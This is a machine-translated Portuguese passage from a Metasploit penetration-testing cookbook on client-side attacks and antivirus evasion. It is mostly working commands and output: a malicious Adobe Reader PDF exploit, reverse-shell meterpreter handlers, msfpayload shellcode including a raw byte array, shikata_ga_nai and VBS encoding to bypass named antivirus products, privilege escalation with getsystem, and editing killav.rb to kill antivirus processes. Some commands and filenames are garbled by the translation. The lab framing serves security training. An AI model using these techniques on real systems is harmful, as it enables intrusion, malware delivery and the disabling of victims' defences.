O módulo de exploração contém um parâmetro FILENAME com um valor padrão. Este parâmetro
decide o nome do arquivo PDF malicioso que será criado. Vamos mudar seu valor para algo menos
suspeito. Também teremos que passar o endereço IP da máquina local no parâmetro LHOST .

msf exploit(adobe_utilprintf) > definir FILENAME progressreport.pdf

FILENAME => progressoreprt.pdf

msf exploit(adobe_utilprintf) > definir LHOST 192.168.56.101

LHOST => 192.168.56.101

92
Machine Translated by Google

Capítulo 4

Agora estamos prontos para executar o comando exploit e gerar o arquivo PDF malicioso que será usado
em nossos ataques do lado do cliente.

msf exploit(adobe_utilprintf) > exploit

[*] Criando arquivo 'progressreport.pdf'...

[+] progressreport.pdf armazenado em /root/.msf4/local/progressreport.pdf

Finalmente, um arquivo PDF malicioso chamado progressreport.pdf foi criado e armazenado na pasta /
root/.msf4/local .

Desta vez, adotaremos uma abordagem um pouco diferente para iniciar um ouvinte para conexão reversa.
Suponha que surja uma situação em que você precise fechar repentinamente seu msfconsole. E o
exploit então? Temos que criar o PDF malicioso novamente? A resposta é Não. Há um módulo de escuta
especial presente no Metasploit que pode ser usado para iniciar uma escuta em seu msfconsole para que
você possa retomar seu processo de teste de penetração usando os mesmos arquivos/links que você
gerou para o ataque do lado do cliente . Considere um cenário em que geramos o arquivo PDF malicioso,
mas ainda não o usamos para ataque do lado do cliente. Portanto, vamos iniciar o msfconsole novamente
e usar o módulo exploit/multi/handler para configurar um ouvinte para a conexão reversa.

msf > use exploit/multi/manipulador

msf exploit(manipulador) > mostrar opções

Opções do módulo (exploit/multi/handler):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

Explorar alvo:

Nome de identificação

-- ----

0 Alvo Curinga

msf exploit(handler) > definir payload windows/meterpreter/reverse_tcp

93
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

payload => windows/meterpreter/reverse_tcp

msf exploit(manipulador) > mostrar opções

Opções do módulo (exploit/multi/handler):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

Opções de carga útil (windows/meterpreter/reverse_tcp):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

processo EXITFUNC sim Técnica de saída: ela..

LHOST sim O endereço de escuta

LPORT 4444 sim A porta de escuta

Explorar alvo:

Nome de identificação

-- ----

0 Alvo Curinga

msf exploit(manipulador) > definir LHOST 192.168.56.101

LHOST => 192.168.56.101

Como você pode ver, configuramos o módulo multi/handler e também adicionamos uma carga útil a
ele. A próxima etapa é adicionar um LHOST e LPORT dependendo do uso. Também temos uma
opção adicional para executar scripts adicionais junto com o módulo multi/manipulador.
Discutiremos isso mais adiante no próximo capítulo. A etapa final é executar o comando exploit e iniciar
o listener.

msf exploit(manipulador) > exploit

[*] Manipulador reverso iniciado em 192.168.56.101:4444

94
Machine Translated by Google

Capítulo 4

Portanto, nosso manipulador reverso está funcionando. Agora ele está pronto para receber de volta a conexão
assim que o PDF malicioso for executado na máquina de destino.

Depois que o PDF é executado na máquina cliente, ele congela completamente e o Adobe Reader trava
completamente, levando à negação de serviço. O motivo dessa falha é devido ao estouro do buffer causado
pelo arquivo PDF malicioso. Do lado do invasor, você verá que uma sessão meterpreter foi iniciada e agora a
máquina de destino pode ser controlada remotamente.

[*] Manipulador reverso iniciado em 192.168.56.101:4444

[*] Iniciando o manipulador de carga...

[*] Enviando estágio (752128 bytes) para 192.168.56.102

[*] Meterpreter sessão 1 aberta (192.168.56.101:4444 -> 192.168.56.102:1035) em 25/11/2011 12:29:36


+0530

meterpreter > shell

Processo 1880 criado.

Canal 1 criado.

Windows XP SP3

(C) Copyright 1985-2001 Microsoft Corp.

E:\>

Como funciona...
Esse problema foi identificado na forma como as versões vulneráveis do Adobe Reader implementam a
função JavaScript util.printf() . A função primeiro converte o argumento que recebe em uma String, usando
apenas os primeiros 16 dígitos do argumento e preenchendo o restante com um valor fixo de "0" (0x30). Ao
passar um comando excessivamente longo e formatado corretamente para a função, é possível sobrescrever a
memória do programa e controlar seu fluxo de execução. O módulo Metasploit cria um arquivo PDF
especificamente criado que incorpora código JavaScript para manipular o padrão de alocação de memória do
programa e acionar a vulnerabilidade. Isso pode permitir que um invasor execute o código arbitrário com os
privilégios de um usuário executando o aplicativo Adobe Reader.

Considere as duas linhas a seguir de JavaScript incorporadas em um PDF:

var num = 1,2

util.printf("%5000f",num)

Essas duas linhas JavaScript simples fazem com que o byte 0x20 seja copiado 5.000 vezes na pilha.
Isso permite que você assuma o controle do manipulador de exceção e também acione uma exceção ao tentar
escrever na seção que vem depois da pilha.

95
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Gerando binário e shellcode de msfpayload

Até agora, discutimos muitas técnicas que podem ser usadas para penetrar na máquina de destino
usando ataques do lado do cliente. Todas essas técnicas envolviam a exploração de vulnerabilidades em
vários softwares aplicativos executados na máquina cliente. Mas pode haver um cenário em que as
técnicas discutidas anteriormente podem não funcionar. Esses ataques nos deixam à mercê do software
aplicativo vulnerável que teremos que explorar para obter acesso.

O Metasploit nos fornece outro recurso no qual podemos executar um ataque do lado do cliente sem
nos preocupar em explorar o software aplicativo em execução na máquina de destino. msfpayload é a
solução para isso. Vamos dar uma rápida introdução ao msfpayload e seguir em frente com nossa receita
para implementá-lo na prática.

msfpayload é uma instância de linha de comando do Metasploit que é usada para gerar vários tipos de
arquivos de shellcodes disponíveis no repositório do Metasploit. As várias opções de tipo de arquivo
disponíveis são C, Ruby, Raw, Exe, DLL, VBA e War. Podemos converter qualquer shellcode Metasploit
em um desses formatos de arquivo mencionados usando msfpayload. Em seguida, ele pode ser transferido
para o destino para execução. Depois que o arquivo for executado na máquina de destino, obteremos uma
sessão ativa. Isso reduz a sobrecarga de explorar qualquer vulnerabilidade existente no software aplicativo
em execução na máquina de destino. O outro grande benefício do msfpayload é que ele pode ser usado para
gerar shellcodes personalizados em linguagens de programação específicas, como C, Ruby e assim por
diante, que podem ser usados em seu próprio código de desenvolvimento de exploração.

Uma grande desvantagem do uso do msfpayload é que os arquivos gerados com ele podem ser
facilmente detectados por programas antivírus quando o alvo tenta executá-lo. Vamos seguir em frente
com a receita e sentir o poder que o msfpayload pode adicionar ao nosso processo de teste de penetração.

Preparando-se
Vamos começar a experimentar com msfpayload. Começaremos com o lançamento do terminal
BackTrack. Podemos começar com o comando msfpayload –h para visualizar a descrição de seu uso.

root@bt:~# msfpayload -h

Uso: /opt/framework3/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|


[P]erl|Rub[y]|[R]aw|[J]s |e[X]e|[D]ll|[V]BA|[W]ar>

Para visualizar a lista disponível de shellcodes, podemos usar o comando msfpayload –l . Você encontrará
uma enorme lista de shellcodes disponíveis à nossa disposição.

96
Machine Translated by Google

Capítulo 4

Como fazer isso...


Vamos ver como podemos gerar um shellcode customizado específico na linguagem C.
Estaremos usando o payload windows/shell/reverse_tcp para gerar seu shellcode em linguagem
C. Primeiro, escolheremos nosso respectivo shell de carga útil e passaremos vários valores de parâmetro.

root@bt:~# msfpayload windows/shell/reverse_tcp o

Nome: Windows Command Shell, Reverse TCP Stager

Módulo: payload/windows/shell/reverse_tcp
Versão: 10394, 11421
Plataforma: Windows

Arco: x86

Precisa de administrador: Não

Tamanho total: 290

Classificação: Normal

Opções básicas:

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

processo EXITFUNC sim Técnica de saída: seh..


LHOST sim O endereço de escuta

LPORT 4444 sim A porta de escuta

Observe o pequeno parâmetro o na linha de comando, as várias opções de parâmetro da


carga útil do shellcode são listadas. Teremos que passar os valores para gerar um shellcode
customizado para nosso uso.

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101


LPORT=4441 o

Então configuramos o LHOST e o LPORT de acordo com a nossa necessidade. A próxima etapa
será gerar um código C para nosso shell personalizado (a saída exibida foi reduzida para caber)

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 C

/*

* windows/shell/reverse_tcp - 290 bytes (estágio 1) * http://www.metasploit.com

97
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

* VERBOSE=falso, LHOST=192.168.56.101, LPORT=4441,

* ReverseConnectRetries=5, EXITFUNC=processo,

* InitialAutoRunScript=, AutoRunScript=
*/

char unsigned buf[] =


"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"

Observe o parâmetro C maiúsculo na linha de comando. Você notará um shellcode completo em linguagem C
que podemos usar em nosso próprio código de desenvolvimento de exploração. Alternativamente, também temos
a opção de gerar códigos em linguagem Ruby e Perl.

Vamos prosseguir para a próxima etapa de geração de um executável binário para o shellcode que pode ser
usado em nosso ataque do lado do cliente.

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X > .local/setup.exe

Criado por msfpayload (http://www.metasploit.com).

Carga útil: windows/shell/reverse_tcp


Comprimento: 290

Opções: {"LHOST"=>"192.168.56.101"}

Observe os vários parâmetros que passamos na linha de comando. Utilizamos o parâmetro X para gerar um
arquivo do tipo exe e o arquivo foi gerado na pasta .local com o nome setup.exe. Este exe gerado agora pode ser
usado em nosso ataque do lado do cliente.

Como funciona...
Agora que nosso executável está pronto, teremos que configurar um ouvinte em nosso msfconsole para ouvir
uma conexão de retorno quando o destino executar este arquivo exe.

98
Machine Translated by Google

Capítulo 4

msf > usar multi/manipulador

msf exploit(handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp

msf exploit(manipulador) > definir LHOST 192.168.46.101

msf exploit(manipulador) > exploit

[-] O manipulador falhou ao vincular a 192.168.46.101:4444


[*] Manipulador reverso iniciado em 0.0.0.0:4444

[*] Iniciando o manipulador de carga útil

Observe que usamos a mesma carga útil e passamos os mesmos valores de parâmetro que usamos ao gerar o
executável. Agora nosso ouvinte está pronto para receber uma conexão reversa.
Depois que o usuário de destino (executando o Windows antes do Windows 7) executar o exe malicioso,
obteremos uma conectividade de shell.

Ignorando a proteção antivírus do lado do


cliente usando msfencode
Na receita anterior, focamos em como gerar um shellcode executável e usá-lo como uma arma para um ataque
do lado do cliente. Porém, esses executáveis são facilmente detectáveis pela proteção antivírus do lado do
cliente, que pode impedir a execução desses arquivos maliciosos e também disparar alarmes. Então o que
podemos fazer agora? Teremos que passar para o próximo nível de vetor de ataque ignorando a proteção
antivírus. Codificar os executáveis é uma técnica eficaz.

O antivírus usa uma técnica baseada em assinatura na qual eles identificam uma ameaça potencial verificando as
primeiras linhas de código do arquivo com seu banco de dados de assinaturas. Se uma correspondência for
encontrada, o arquivo será tratado como uma ameaça. Teremos que explorar essa técnica de antivírus para
contorná-los. msfencode é uma ferramenta eficaz que codifica os shellcodes e os torna menos
detectável por antivírus. Existem inúmeras opções de codificação fornecidas pelo msfencode.

Há uma coisa importante a ter em mente antes de começar esta receita. O sucesso dessa receita depende de
dois fatores: o tipo de shellcode usado e o tipo de antivírus em execução na máquina de destino. Essa receita
envolve muita experimentação para verificar qual shell usar e que tipo de codificação pode ser usada para ignorar
um determinado tipo de antivírus. Aqui, temos dois alvos. Um está executando o Windows XP SP2 com o AVG 10
(versão gratuita) em execução e o outro é uma máquina Windows 7 Ultimate executando o ESET NOD32 (versão
completa e atualizada). Primeiro, discutiremos uma técnica simples que pode contornar antivírus antigos e não
atualizados, mas pode ser detectado pelas versões mais recentes dele. Em seguida, discutiremos outra técnica
que atualmente ignora qualquer antivírus disponível até o momento.

99
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Preparando-se
msfencode geralmente é canalizado com o comando msfpayload para codificar o shellcode gerado por
ele. Isso reduz nossas etapas de trabalho. Vamos começar com msfencode primeiro.
A execução do comando msfencode –h lista vários parâmetros disponíveis para nós e msfencode
–l lista os vários estilos de codificação. Vamos dar uma olhada em cada um deles:

root@bt:~# msfencode -l

Codificadores de estrutura
==================

Nome Classificação Descrição


---- ---- -----------

cmd/generic_sh bom Variável Shell Genérica


Codificador de comando de substituição

cmd/se baixo Substituição ${IFS} Genérica


Codificador de Comando

cmd/printf_php_mq manual printf(1) via PHP magic_quotes


Codificador de Comando do Utilitário
genérico/nenhum normal O Codificador "nenhum"

mipsbe/longxor mipsle/ normal Codificador XOR

longxor php/base64 normal Codificador XOR

ppc/longxor ppc/ ótimo Codificador PHP Base64

longxor_tag sparc/ normal Codificador PPC LongXOR


longxor_tag x64/xor normal Codificador PPC LongXOR
x86/alpha_mixed normal Codificador SPARC DWORD XOR
normal Codificador XOR
baixo Alfa2 Alfanumérico Misto
Codificador

x86/alpha_upper baixo Alfa2 Alfanumérico Maiúsculas


Codificador

x86/avoid_utf8_tolower manual x86/ Evite UTF8/tolower

call4_dword_xor x86/context_cpuid normal Chamada + 4 Codificador Dword XOR


manual Carga útil com chave de contexto baseada em CPUID
Codificador

x86/context_stat manual Chave de contexto baseada em stat(2)


Codificador de carga
útil x86/context_time manual Chave de contexto baseada em tempo(2)
Codificador de carga útil
x86/contagem regressiva normal Codificador de contagem regressiva XOR de byte único
x86/fnstenv_mov normal Comprimento variável Fnstenv/mov Dword

100
Machine Translated by Google

Capítulo 4

Codificador XOR

x86/jmp_call_additive normal Feedback aditivo de salto/chamada XOR


Codificador

x86/nonalpha baixo Codificador não alfa

x86/não superior baixo Codificador não superior

x86/shikata_ga_nai excelente feedback aditivo XOR polimórfico


Codificador

x86/single_static_bit manual Bit estático único

x86/unicode_mixed manual Alfa2 Alfanumérico Unicode


Codificador de caixa mista

x86/unicode_upper manual Alfa2 Alfanumérico Unicode


Codificador de letras maiúsculas

Existem muitos codificadores diferentes disponíveis com a estrutura e cada um usa


técnicas diferentes para ofuscar o shellcode. A técnica de codificação shikata_ga_nai implementa um
codificador de feedback aditivo XOR polimórfico. O stub do decodificador é gerado com base na
substituição dinâmica de instruções e na ordenação dinâmica de blocos. Os registradores também são
selecionados dinamicamente.

Como fazer isso...


Dividi esta receita em três casos diferentes para dar uma melhor compreensão de como podemos
nos aprofundar nesta ferramenta útil e desenvolver nossa própria lógica.

Caso 1: Começaremos com a codificação de um shell simples. Os comandos msfpayload e


msfencode serão canalizados juntos.

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e cmd/generic_sh


-c 2 -t exe > .local/encoded.exe

[*] cmd/generic_sh teve sucesso com tamanho 290 (iteração=1)

[*] cmd/generic_sh teve sucesso com tamanho 290 (iteração=2)

Vamos entender a linha de comando. Usamos o shell windows/shell/reverse_tcp e geramos um tipo


de arquivo bruto usando o parâmetro R. Em seguida, canalizamos o comando msfencode . O
parâmetro –e é usado para determinar o estilo de codificação que é cmd/generic_sh em nosso caso.
O parâmetro –c representa o número de iterações e o parâmetro –t representa o tipo de arquivo a ser
criado após a codificação. Por fim, o arquivo será criado na pasta .local com encoded.exe como nome
do arquivo. Quando o arquivo encoded.exe é usado para o ataque do lado do cliente em nossos dois
alvos, ele é facilmente identificado como uma ameaça pelo Windows XP (com AVG 10) e pelo Windows
7 (com NOD32). Pode ter nos fornecido conectividade shell, mas a atividade foi bloqueada pelo antivírus.

101
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Caso 2: Agora vamos aumentar a complexidade desta codificação adicionando um modelo exe padrão do Windows
ao shell e também aumentando o número de iterações para codificação. Os modelos padrão nos ajudarão a criar
um arquivo menos suspeito vinculando o shellcode a um dos executáveis padrão do Windows, como calc.exe ou
cmd.exe. Os modelos do Windows estão disponíveis na pasta /opt/framework3/msf3/lib/msf/util/../../../data/
templates.

Você pode criar um modelo copiando qualquer executável padrão do Windows nesta pasta e usá-lo como
modelo. Nesta receita, copiei cmd.exe para esta pasta para usá-lo como modelo para meu shell. Então,
como será nossa linha de comando neste caso?

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R |


msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe> .local/ cmdencoded.exe

O único parâmetro extra neste caso é –x , que é usado para especificar um modelo executável
alternativo. Usamos cmd.exe como modelo, que é o executável padrão do Windows para o prompt de
comando. Também alteramos o estilo de codificação para shikata_ga_nai , que é classificado como
"Excelente" no msfencode. O número de iterações também foi aumentado para 20 neste caso. O executável
criado neste caso aparece como um executável cmd.exe (devido ao modelo) e ignora facilmente a proteção
antivírus do lado do cliente do alvo do Windows XP que está executando o AVG 10 antivírus. Infelizmente, foi
detectado como uma ameaça em nosso alvo Windows 7 executando a versão mais recente do NOD32.

Portanto, pode ser usado para ignorar as versões mais antigas de antivírus em execução em máquinas Windows.
O segundo problema com essa técnica é que ela falha ao iniciar um shell em máquinas com Windows 7/
Server 2008, mesmo que tenham proteção antivírus mais antiga. O shellcode falha na execução (por causa do
modelo) e, embora ignore o antivírus, ainda falha ao iniciar um shell em versões mais recentes do Windows.

Caso 3: Este caso irá superar as deficiências que encontramos no Caso 2. Neste caso, iremos gerar um script
do lado do cliente em vez de um arquivo executável. O conhecido script do lado do cliente para a plataforma
Windows é o visual basic script (.vbs). Essa técnica pode ser usada para ignorar qualquer antivírus conhecido até
o momento em execução nas versões mais recentes do Windows. A razão pela qual os scripts VB são uma arma
potencial para contornar o antivírus é que eles nunca são tratados como uma ameaça por programas antivírus e
esta é a razão pela qual suas assinaturas nunca correspondem ao arquivo de script VB. Vamos criar um script VB
malicioso usando msfpayload e msfencode.

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 r | msfencode -e


x86/shikata_ga_nai -c 20 -t vbs > .local/cmdtest2.vbs

[*] x86/shikata_ga_nai teve sucesso com tamanho 317 (iteração=1)

[*] x86/shikata_ga_nai teve sucesso com tamanho 344 (iteração=2)

102
Machine Translated by Google

Capítulo 4

[*] x86/shikata_ga_nai teve sucesso com tamanho 371 (iteração=3)


.
.
.
.
[*] x86/shikata_ga_nai teve sucesso com tamanho 803 (iteração=19)

[*] x86/shikata_ga_nai teve sucesso com tamanho 830 (iteração=20)

Observe as pequenas mudanças na linha de comando. A única mudança é que exe foi substituído
por VBS e não usamos nenhum modelo para evitar falhas durante a execução do lado do cliente.
Essa técnica pode nos ajudar a ignorar a proteção antivírus de nossos alvos e nos fornecer
conectividade de shell. Podemos configurar um ouvinte usando o módulo multi/handler (discutido na
receita anterior) e aguardar uma conexão de retorno com os destinos assim que eles executarem o
script.

Como você deve ter notado até agora, esta receita é puramente baseada em experimentar
diferentes combinações de cargas e codificadores. Quanto mais você experimentar diferentes
combinações, maiores serão suas chances de obter sucesso. Há muitas coisas para explorar em
msfpayload e msfencode, então eu o encorajaria a experimentar ativamente diferentes experimentos
e descobrir suas próprias maneiras de contornar a proteção antivírus.

Como funciona...
Os codificadores são usados principalmente para ofuscar o script shellcode em um formato que não
pode ser reconhecido por antivírus. O codificador shikata_ga_nai usa a técnica polimórfica XOR na qual o
codificador usa gats gerados dinamicamente como codificadores. A razão que torna shikata_ga_nai popular
é que ele usa uma técnica de autodecodificação. A autodescriptografia significa que o software descriptografa
uma parte de si mesmo em tempo de execução. Idealmente, o software contém apenas um stub
descriptografador e o código criptografado. As iterações complicam ainda mais o processo de codificação
usando a mesma operação repetidas vezes para fazer o shellcode parecer completamente estranho aos
antivírus.

Tem mais...
Vamos encontrar uma maneira rápida de testar uma carga contra diferentes fornecedores de antivírus e
descobrir qual deles detecta nossa carga codificada.

103
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Varredura múltipla rápida com o VirusTotal O VirusTotal é


uma ferramenta utilitária de site on-line que pode escanear seu arquivo em relação a vários fornecedores
de antivírus para descobrir quantos deles o estão detectando como uma ameaça. Você pode verificar sua
carga útil codificada em relação ao total de vírus para descobrir se está disparando um alarme em qualquer
um dos produtos antivírus ou não. Isso pode ajudá-lo a descobrir rapidamente se sua carga útil codificada
será eficaz no campo ou não.

O VirusTotal pode ser pesquisado em http://www.virustotal.com. Ele solicitará que você carregue o
arquivo que deseja verificar em vários produtos antivírus. Quando a digitalização estiver concluída, ele
retornará os resultados do teste.

Usando o script killav.rb para desabilitar programas


antivírus
Na receita anterior, focamos em várias técnicas que podem ser implementadas para contornar a proteção
antivírus do lado do cliente e abrir uma sessão ativa. Bem, a história não termina aqui. E se quisermos
baixar arquivos do sistema de destino ou instalar um keylogger e assim por diante. Tais atividades podem
disparar um alarme no antivírus. Portanto, assim que obtivermos uma sessão ativa, nosso próximo
objetivo deve ser matar a proteção antivírus silenciosamente. Esta receita é sobre como desativá-los.
Matar antivírus é essencial para manter nossas atividades não detectadas na máquina de destino.

Nesta receita, usaremos alguns dos scripts meterpreter disponíveis para nós durante uma sessão ativa.
Temos um capítulo inteiro dedicado aos scripts do meterpreter, então aqui darei apenas uma introdução
rápida aos scripts do meterpreter e alguns comandos úteis do meterpreter. Estaremos analisando
meterpreter em grande detalhe em nosso próximo capítulo.

104
Machine Translated by Google

Capítulo 4

Preparando-se
Vamos começar com uma rápida introdução ao meterpreter. Meterpreter é uma carga útil avançada que
aumenta muito o poder de execução de comandos na máquina de destino. É um interpretador de comandos
que funciona por injeção de DLL na memória e nos oferece muitas vantagens sobre os interpretadores de
comandos tradicionais (geralmente existe com códigos shell), pois é mais flexível, estável e extensível. Pode
funcionar como se várias cargas úteis estivessem trabalhando juntas na máquina de destino. Ele se comunica
pelo soquete stager e fornece uma API de rubi abrangente do lado do cliente. Podemos obter um shell
meterpreter usando as cargas disponíveis no diretório windows/meterpreter . Nesta receita, usaremos a carga
útil windows/meterpreter/reverse_tcp e nossa máquina de destino é o Windows 7 executando o antivírus ESET
NOD32.

Vamos configurar nosso ouvinte no msfconsole e aguardar uma conexão de retorno.

msf > usar multi/manipulador

msf exploit(handler) > definir payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(manipulador) > mostrar opções

Opções do módulo (exploit/multi/handler):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

Opções de carga útil (windows/meterpreter/reverse_tcp):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

processo EXITFUNC sim Técnica de saída: seh..

LHOST 192.168.56.101 sim O endereço de escuta

LPORT 4444 sim A porta de escuta

Explorar alvo:

Nome de identificação

105
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus


-- ----

0 Alvo Curinga

msf exploit(manipulador) > exploit

[*] Manipulador reverso iniciado em 192.168.56.101:4444

[*] Iniciando o manipulador de carga...

Como fazer isso...


1. Portanto, nosso ouvinte está pronto. Assim que o ataque do lado do cliente for executado
com sucesso no alvo, teremos uma sessão meterpreter aberta no msfconsole.
[*] Enviando estágio (752128 bytes) para 192.168.56.1

[*] Meterpreter sessão 2 aberta (192.168.56.101:4444 -> 192.168.56.1:49188) em 2011-11-29


13:26:55 +0530

meterpreter >

2. Agora, estamos prontos para alavancar os poderes do meterpreter em nosso experimento de


matar o antivírus. O primeiro comando que executaremos é getuid que nos dá o nome de usuário
do sistema no qual invadimos. O usuário pode ser o administrador principal ou um usuário com
menos privilégios.
meterpreter > testemunhou

Nome de usuário do servidor: DARKLORD-PC\DARKLORD

3. Parece que não temos o privilégio de administrador no sistema que acabamos de


penetrado. Portanto, o próximo passo será escalar nosso privilégio para administrador
para que possamos executar comandos no alvo sem interrupção. Usaremos o comando
getsystem que tenta elevar nosso privilégio de usuário local a administrador.

meterpreter > getsystem

...obteve o sistema (através da técnica 4)..

4. Como podemos ver, getsystem elevou com sucesso nosso privilégio no


penetrou no sistema usando a técnica 4 , que é o exploit KiTrap0D. Podemos verificar
nosso novo ID escalado novamente usando o comando getuid .
meterpreter > testemunhou

Nome de usuário do servidor: NT AUTHORITY\SYSTEM

106
Machine Translated by Google

Capítulo 4

5. Agora temos os principais direitos de administrador. O próximo passo será rodar o ps


comando que lista todos os processos em execução no sistema. Teremos que examinar os
processos que controlam o antivírus em execução na máquina de destino (a saída foi reduzida para
caber).
PID Nome Do utilizador Caminho

--- ---- ---- ----

1060 svchost.exe AUTORIDADE NT\SISTEMA C:\Windows\System32\.

1096 svchost.exe AUTORIDADE NT\SISTEMA C:\Windows\system32\.

1140 stacsv.exe AUTORIDADE NT\SISTEMA C:\Windows\System32\.

1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Arquivos de Programas\Uni.

ESET NOD32 Antivirus\egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ 1744 egui.exe

1832 cases.exe NT AUTHORITY\SYSTEM C:\Arquivos de Programas\ESET\


ESET NOD32 Antivirus\eset.exe

6. Nas colunas Nome e Caminho , podemos identificar facilmente os processos que pertencem
para uma instância de antivírus. No nosso caso, existem dois processos responsáveis pela proteção
antivírus no sistema de destino. Eles são egui.exe e eset.exe. Vamos ver como podemos usar o
Metasploit para matar esses processos.

Como funciona...
O Meterpreter fornece um script muito útil chamado killav.rb , que pode ser usado para eliminar os
processos antivírus em execução no sistema de destino e, assim, desativá-lo. Vamos tentar este script
em nosso alvo Windows 7 que está executando o antivírus ESET NOD32.

meterpreter > executar killav

[*] Matando serviços de antivírus no alvo...

O comando run é usado para executar scripts Ruby no meterpreter. Após a execução do script,
podemos verificar novamente os processos em execução no destino para garantir que todos os
processos antivírus tenham sido eliminados. Se nenhum dos processos antivírus estiver em execução,
isso significa que o antivírus foi temporariamente desativado na máquina de destino e agora podemos
prosseguir com nosso processo de teste de penetração.

Mas e se os processos ainda estiverem em execução? Vamos descobrir a solução na próxima receita.

107
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Uma análise mais profunda do script killav.rb


Continuando com nossa receita anterior, nos concentramos em como matar processos antivírus em
execução na máquina de destino usando o script killav.rb . Mas, e se os processos ainda estiverem em
execução ou não forem eliminados mesmo após o uso do script? Pode haver duas razões para isso. Ou o
killav.rb não inclui esses processos em sua lista para matar ou o processo antivírus está sendo executado
como um serviço. Nesta receita, vamos tentar superar os problemas. Então, vamos passar rapidamente
para a nossa receita.

Preparando-se
Começaremos com a mesma sessão do meterpreter onde terminamos nossa receita anterior. Usamos o
script killav.rb uma vez, mas os processos antivírus ainda estão em execução. Podemos visualizar os
processos em execução usando o comando ps .

PID Nome Do utilizador Caminho

--- ---- ---- ----

1060 svchost.exe AUTORIDADE NT\SISTEMA C:\Windows\System32\.

1096 svchost.exe AUTORIDADE NT\SISTEMA C:\Windows\system32\.

1140 stacsv.exe AUTORIDADE NT\SISTEMA C:\Windows\System32\.

1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Arquivos de Programas\Uni.

1744 egui.exe NOD32 DARKLORD-PC\DARKLORD C:\Arquivos de Programas\ESET\ESET


Antivirus\egui.exe

1832 casos.ece AUTORIDADE NT\SISTEMA C:\Arquivos de programas\ESET\ESET


NOD32 Antivirus\eset.exe

Como podemos ver, os dois processos antivírus ainda estão ativos mesmo depois de usar o script
killav.rb . Vamos começar dando uma olhada no script killav.rb .

108
Machine Translated by Google

Capítulo 4

Como fazer isso...


1. Para visualizar e editar o script killav.rb , abra uma nova janela de terminal e navegue até /pentest/
exploits/framework3/scripts/meterpreter.

root@bt: cd /pentest/exploits/framework3/scripts/meterpreter

root@bt:/ pentest/exploits/framework3/scripts/meterpreter# vim


killav.rb

2. vim é um editor rápido para arquivos no Unix. Ele abrirá todo o script em nossa tela. Role para baixo para
encontrar os vários processos listados nele. Esses são os processos que o script procura para matar.
Verifique a lista inteira para procurar eset.exe e egui.exe. Se eles não estiverem disponíveis, adicione os
dois processos no script. Para iniciar o modo de edição no vim, pressione a tecla a . Ele iniciará o modo de
inserção. Agora adicione os dois processos na lista de processos do script. @@exec_opts.parse(args) { |
opt, idx, val| opção de caso

quando h"

uso
fim
}

print_status("Eliminando serviços antivírus no alvo...")

avs = %W{
egui.exe
case.exe
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe

3. O fragmento de código a seguir mostra os dois processos adicionados no topo da lista.


Para sair do modo de inserção, pressione a tecla esc . Agora, para salvar o script, pressione a tecla : .
Você chegará a um mini prompt de comando do editor vim. Agora digite wq para salvar e sair do editor.

:wq

4. Agora volte para a sessão meterpreter e execute o script killav.rb novamente,


e observe o que acontece.

meterpreter > executar killav.rb

[*] Matando serviços de antivírus no alvo...

109
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

[*] Eliminando egui.exe...

[*] Eliminando eset.exe…

5. A saída da execução do comando mostra que o script eliminou os dois processos com sucesso.
Agora, para verificar se todos os processos antivírus foram eliminados ou não, executaremos
novamente o comando ps para verificação cruzada (saída reduzida para caber).

meterpretr> ps

PID Nome Do utilizador Caminho

--- ---- ---- ----

1060 svchost.exe AUTORIDADE NT\SISTEMA C:\Windows\System32\.

1096 svchost.exe AUTORIDADE NT\SISTEMA C:\Windows\system32\.

1140 stacsv.exe AUTORIDADE NT\SISTEMA C:\Windows\System32\.

